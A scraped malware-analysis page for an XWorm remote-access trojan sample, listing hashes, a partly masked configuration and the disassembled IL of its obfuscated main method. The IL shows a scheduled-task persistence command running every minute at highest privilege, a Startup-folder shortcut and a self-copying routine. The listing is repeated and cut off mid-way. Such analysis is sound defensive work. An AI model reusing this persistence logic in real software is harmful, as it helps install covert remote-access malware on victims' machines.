Deep Malware Analysis of b637c7d8cbf206746cc89d9c4ac13a42 | md5: b637c7d8cbf206746cc89d9c4ac13a42 | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.95 | RAT | XWorm

PE Executable

MD5: b637c7d8cbf206746cc89d9c4ac13a42

Size: 77.31 KB

application/x-dosexec

Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very high

MD5	b637c7d8cbf206746cc89d9c4ac13a42
Sha1	8d5f6d51372be2cdbf36b5ebc1be0e85a4266dcf
Sha256	1819dd98ca99ff72ca4d734b189cd513c78ccb83b60acf0bd92c53143513d49d
Sha384	841ebd436a0e5264056d4e909ccdf61dbd72340524ba21b20d29f75d5926ce1f74dc90e05054a971eb75bb12f9c61bba
Sha512	2454ad54d8ccaefa9c729a2a80b1968c11a04bb34dad0e57b035caf982b4c1314bd43d82157de35556ac5dae11d59e1c575be322e1ee4f21b23bb1c35c0c86dc
SSDeep	1536:M+z8oKZOlTPcb76D0C0kV2q9btBVpuLJy7OcZ+d8DQ1:M7ElLM2IC0kV2q9bHViJy7OK+cQ1
TLSH	97737E283BE64515E4FFAF7018F23122D779F9236903EA5F289901871B23AC9CD516F6

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Config. Field	Value
Mutex	0f2qchuhuhuhuhuhuhu
Hosts	196.2huhuhuhuhuhuhu
Port	1huhuhuhu
KEY	<123huhuhuhu
USBNM	<XWhuhuhuhu
LoggerPath	%Usehuhuhuhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	XWormClient.exe
Full Name	XWormClient.exe
EntryPoint	`System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::UGMCqaLWEbutHiJXhtVV3nn()`
Scope Name	XWormClient.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	XWormClient
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	406
Main Method	`System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::UGMCqaLWEbutHiJXhtVV3nn()`
Main IL Instruction Count	308
Main IL	ldsfld System.Int32 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::WyqY9Ws9Uba8R8dkdcgYKHiZrcuw8ZS4mx5enoQXZcz0ok7nAVwZsyRPGNsftLuxe1F21ueRku1LI1sB ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::a1drVK0DlXaqbmjhj5XMIKyjDTC8JODUz442UCsHHVBG8W6pOPErbFgZMY9WchQROBrX6PgIAey896YR call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::a1drVK0DlXaqbmjhj5XMIKyjDTC8JODUz442UCsHHVBG8W6pOPErbFgZMY9WchQROBrX6PgIAey896YR ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Lk7O75AErw6935aUBe2BBr7JuHfgFy4dMrTD1rT9oEbI8H5sbXrLFZqKQbssoQyNEYv2rAgInjoDGctt call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Lk7O75AErw6935aUBe2BBr7JuHfgFy4dMrTD1rT9oEbI8H5sbXrLFZqKQbssoQyNEYv2rAgInjoDGctt ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::0eis79Ct6HQvgmQ8uTkSe3G0dixcCZdIU4J7qEhvYCOPMuxWleZePlgg3PsWCfOuGvZHPLBFc37l6AAS call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::0eis79Ct6HQvgmQ8uTkSe3G0dixcCZdIU4J7qEhvYCOPMuxWleZePlgg3PsWCfOuGvZHPLBFc37l6AAS ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::dDceSSvXQBjH14aY61Bh3fqdtfj8SqmOP5wgJjlFrKsVO12AQIZjASEXnBeFxAw4h3b6BCj9bNZVOQrB call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::dDceSSvXQBjH14aY61Bh3fqdtfj8SqmOP5wgJjlFrKsVO12AQIZjASEXnBeFxAw4h3b6BCj9bNZVOQrB ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::GygeDhEQoUq2LxestiKtw4pQhAX8Tlp7sJbWYGYjvMiLdCLLe38E3IjGMTLWVFaAkUh5pqby7R6NUMR4 call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::GygeDhEQoUq2LxestiKtw4pQhAX8Tlp7sJbWYGYjvMiLdCLLe38E3IjGMTLWVFaAkUh5pqby7R6NUMR4 ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::iVhyWChGOYsLR0r5PJGXIMFeASuwE5KmSTMAksEDEPj5vUDH45TFQZ9kgzk7ixXynu0Ivmrg3DMy0CKn call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::iVhyWChGOYsLR0r5PJGXIMFeASuwE5KmSTMAksEDEPj5vUDH45TFQZ9kgzk7ixXynu0Ivmrg3DMy0CKn ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Nwt9ehC0D6z5DuUFsmar00zGfoDMr862vMavrn4OzgCfTVf61DVFzMX8hL6BldfTZvPduOx5JvbQs4Qw call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Nwt9ehC0D6z5DuUFsmar00zGfoDMr862vMavrn4OzgCfTVf61DVFzMX8hL6BldfTZvPduOx5JvbQs4Qw ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::kPfkjTXCphiXjKIKhX3cPXL1T479eBt1IDIYVJMMq8bauFJnilXFgv8uCsSOw6JffrfW9REVHl26zaVN call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::kPfkjTXCphiXjKIKhX3cPXL1T479eBt1IDIYVJMMq8bauFJnilXFgv8uCsSOw6JffrfW9REVHl26zaVN ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::LtkQDndHPLFVUplmKRQtGCRv368TM5XWNUTtICmEiZfef3v9gxXUuQzC235MLIqiW07aZba57cgF25Uc call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::LtkQDndHPLFVUplmKRQtGCRv368TM5XWNUTtICmEiZfef3v9gxXUuQzC235MLIqiW07aZba57cgF25Uc leave.s IL_0107: call System.Boolean Stub.rK2wsak9SuceeziEFgwn7Ys::NDR20Hx7zQXfngwWoBjz6DJ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0107: call System.Boolean Stub.rK2wsak9SuceeziEFgwn7Ys::NDR20Hx7zQXfngwWoBjz6DJ() call System.Boolean Stub.rK2wsak9SuceeziEFgwn7Ys::NDR20Hx7zQXfngwWoBjz6DJ() brtrue.s IL_0114: ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx ldstr \ ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0156: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_016D: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.rK2wsak9SuceeziEFgwn7Ys::thdSxSZIkD6kEtVIVX7f6LA call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0198: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0198: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.i5CAUsq6ZLtbHLzq85vgDdP::WykQGkvmOvSQNN8HUThxuWZ() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01FE: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0242: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0263: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0263: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_10 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.s V_10 stelem.ref <null> ldloc.s V_13 stloc.s V_14 ldloc.s V_14 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_15 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_15 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02E8: stloc.s V_16 ldloc.s V_14 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_10 stloc.s V_16 ldloc.s V_16 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_16 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_16 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_16 ldloc.s V_10 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.rK2wsak9SuceeziEFgwn7Ys::RJ5J2WvCzkJ7zg9JkGQ8PBk leave.s IL_0367: call System.Void Stub.Ggyl4lRqMptvs7SDiahD7XK::ZBrTiqEIo0D0brmAwbsjtSx() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0367: call System.Void Stub.Ggyl4lRqMptvs7SDiahD7XK::ZBrTiqEIo0D0brmAwbsjtSx() call System.Void Stub.Ggyl4lRqMptvs7SDiahD7XK::ZBrTiqEIo0D0brmAwbsjtSx() call System.Void Stub.rK2wsak9SuceeziEFgwn7Ys::oWmUmmnAznnD0MZ9fcg3QCU() ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::QHZBzYAS4msMBCDHT7BHT5L() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::RqANshFKKOlxeuVZo6fagGV() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::MzRS7PkDrgTaMyjw1qrhoaq() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::78pHUDBEcz8Yol7ugvOHQov() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	XWormClient.exe
Full Name	XWormClient.exe
EntryPoint	`System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::UGMCqaLWEbutHiJXhtVV3nn()`
Scope Name	XWormClient.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	XWormClient
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	406
Main Method	`System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::UGMCqaLWEbutHiJXhtVV3nn()`
Main IL Instruction Count	308
Main IL	ldsfld System.Int32 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::WyqY9Ws9Uba8R8dkdcgYKHiZrcuw8ZS4mx5enoQXZcz0ok7nAVwZsyRPGNsftLuxe1F21ueRku1LI1sB ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::a1drVK0DlXaqbmjhj5XMIKyjDTC8JODUz442UCsHHVBG8W6pOPErbFgZMY9WchQROBrX6PgIAey896YR call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::a1drVK0DlXaqbmjhj5XMIKyjDTC8JODUz442UCsHHVBG8W6pOPErbFgZMY9WchQROBrX6PgIAey896YR ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Lk7O75AErw6935aUBe2BBr7JuHfgFy4dMrTD1rT9oEbI8H5sbXrLFZqKQbssoQyNEYv2rAgInjoDGctt call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Lk7O75AErw6935aUBe2BBr7JuHfgFy4dMrTD1rT9oEbI8H5sbXrLFZqKQbssoQyNEYv2rAgInjoDGctt ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::0eis79Ct6HQvgmQ8uTkSe3G0dixcCZdIU4J7qEhvYCOPMuxWleZePlgg3PsWCfOuGvZHPLBFc37l6AAS call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::0eis79Ct6HQvgmQ8uTkSe3G0dixcCZdIU4J7qEhvYCOPMuxWleZePlgg3PsWCfOuGvZHPLBFc37l6AAS ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::dDceSSvXQBjH14aY61Bh3fqdtfj8SqmOP5wgJjlFrKsVO12AQIZjASEXnBeFxAw4h3b6BCj9bNZVOQrB call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::dDceSSvXQBjH14aY61Bh3fqdtfj8SqmOP5wgJjlFrKsVO12AQIZjASEXnBeFxAw4h3b6BCj9bNZVOQrB ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::GygeDhEQoUq2LxestiKtw4pQhAX8Tlp7sJbWYGYjvMiLdCLLe38E3IjGMTLWVFaAkUh5pqby7R6NUMR4 call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::GygeDhEQoUq2LxestiKtw4pQhAX8Tlp7sJbWYGYjvMiLdCLLe38E3IjGMTLWVFaAkUh5pqby7R6NUMR4 ldsfld System.String 